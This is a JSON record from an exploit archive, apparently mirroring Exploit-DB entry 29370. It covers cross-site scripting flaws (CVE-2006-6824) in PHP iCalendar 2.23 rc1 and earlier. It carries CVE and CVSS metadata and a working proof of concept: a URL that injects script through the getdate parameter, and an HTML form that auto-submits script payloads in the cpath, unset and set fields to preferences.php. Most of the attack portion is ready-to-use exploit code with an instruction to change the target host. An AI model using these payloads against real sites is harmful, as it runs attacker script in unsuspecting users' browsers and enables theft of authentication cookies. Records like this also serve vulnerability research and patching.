{"exploit":{"id":"EDB-29370","name":"PHP iCalendar 1.1/2.x - 'preferences.php' Cross-Site Scripting (XSS)","description":"PHP iCalendar 1.1/2.x - 'preferences.php' Cross-Site Scripting (XSS)","cves":["CVE-2006-6824"],"author":"Lostmon","published":"2006-12-27","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/29370","path":"exploits/php/webapps/29370.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-29370.txt","vulnerabilities":[{"id":"CVE-2006-6824","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple cross-site scripting (XSS) vulnerabilities in Jim Hu and Chad Little PHP iCalendar 2.23 rc1 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) getdate parameter in (a) day.php, (b) month.php, (c) year.php, (d) week.php, (e) search.php, (f) rss/index.php, (g) print.php, and (h) preferences.php; the (2) cpath parameter in (i) day.php, (j) month.php, (k) year.php, (l) week.php, and (m) search.php; the (3) query parameter in search.php; and possibly the cpath, (4) unset, and (5) set parameters in a setcookie action in preferences.php; different vectors than CVE-2006-3319. NOTE: it was later reported that vectors b, c, and d also affect 2.24.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-6824","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-6824"},"updatedAt":"2024-08-07T20:42:07.358Z","retrievedAt":"2026-11-26T13:55:01.698Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-29370.png?v=2","url":"https://exploitbin.com/exploits/EDB-29370","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-29370/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-29370/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2006/https://www.securityfocus.com/bid/21792/info\n\nPHP icalendar is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.\n\nAn attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.\n\n----------------------------------------\n\nhttp://www.example.com/phpicalendar/preferences.php?cal=Home,US+Holidays,Work &getdate=20061227%22%3E%3Cscript%3Ealert()%3C/script%3E <html> <head></head> <body> <title>PHP icalendar XSS in preferences.php PoC</title> <p><a href=\"http://phpicalendar.net/\" target=\"_BLANK\">PHP icalendar</a> <= 2.23 rc1 preferences.php XSS Proof Of concept By <a href=\"http://Lostmon.blogspot.com\" target=\"_BLANK\">Lostmon</a></p> <p>Modify the target host , by default http://localhost/</P> <br /><br /><form method=&#039;post&#039; action=&#039;\n\nhttp://localhost/phpicalendar/preferences.php?action=setcookie&#039;> cookie_language: <input input=&#039;text&#039; value=&#039;Spanish&#039; name=&#039;cookie_language&#039; style=&#039;width: 80%&#039; /><br> cookie_calendar: <input input=&#039;text&#039; value=&#039;all_calendars_combined971&#039; name=&#039;cookie_calendar&#039; style=&#039;width: 80%&#039; /><br> cpath: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;cpath&#039; style=&#039;width: 80%&#039; /><br> cookie_view: <input input=&#039;text&#039; value=&#039;day&#039; name=&#039;cookie_view&#039; style=&#039;width: 80%&#039; /><br> cookie_time: <input input=&#039;text&#039; value=&#039;0700&#039; name=&#039;cookie_time&#039; style=&#039;width: 80%&#039; /><br> cookie_startday: <input input=&#039;text&#039; value=&#039;Sunday&#039; name=&#039;cookie_startday&#039; style=&#039;width: 80%&#039; /><br> cookie_style: <input input=&#039;text&#039; value=&#039;default&#039; name=&#039;cookie_style&#039; style=&#039;width: 80%&#039; /><br> unset: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;unset&#039; style=&#039;width: 80%&#039; /><br> set: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;set&#039; style=&#039;width: 80%&#039; /><br> <input type=&#039;submit&#039; value=&#039;submit&#039; /><br> </form><hr /> <textarea style=&#039;width: 80%; height: 50%;&#039;> <form method=&#039;post&#039; action=&#039;\n\nhttp://localhost/phpicalendar/preferences.php?action=setcookie&#039;> cookie_language: <input input=&#039;text&#039; value=&#039;Spanish&#039; name=&#039;cookie_language&#039; style=&#039;width: 80%&#039; /><br> cookie_calendar: <input input=&#039;text&#039; value=&#039;all_calendars_combined971&#039; name=&#039;cookie_calendar&#039; style=&#039;width: 80%&#039; /><br> cpath: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;cpath&#039; style=&#039;width: 80%&#039; /><br> cookie_view: <input input=&#039;text&#039; value=&#039;day&#039; name=&#039;cookie_view&#039; style=&#039;width: 80%&#039; /><br> cookie_time: <input input=&#039;text&#039; value=&#039;0700&#039; name=&#039;cookie_time&#039; style=&#039;width: 80%&#039; /><br> cookie_startday: <input input=&#039;text&#039; value=&#039;Sunday&#039; name=&#039;cookie_startday&#039; style=&#039;width: 80%&#039; /><br> cookie_style: <input input=&#039;text&#039; value=&#039;default&#039; name=&#039;cookie_style&#039; style=&#039;width: 80%&#039; /><br> unset: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;unset&#039; style=&#039;width: 80%&#039; /><br> set: <input input=&#039;text&#039; value=&#039;<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>&#039; name=&#039;set&#039; style=&#039;width: 80%&#039; /><br> <input type=&#039;submit&#039; value=&#039;submit&#039; /><br> </form> <script> document.forms[0].submit() </script> </textarea> </body> </html>","sha256":"9762983c824e77b4bfa4c5b77dbc418348e2abd5271f63e977c6c6cf99dc414b","bytes":4160,"fetchedAt":"2026-11-26T15:09:24.008Z","encoding":"utf-8 (display only; download retains original bytes)"}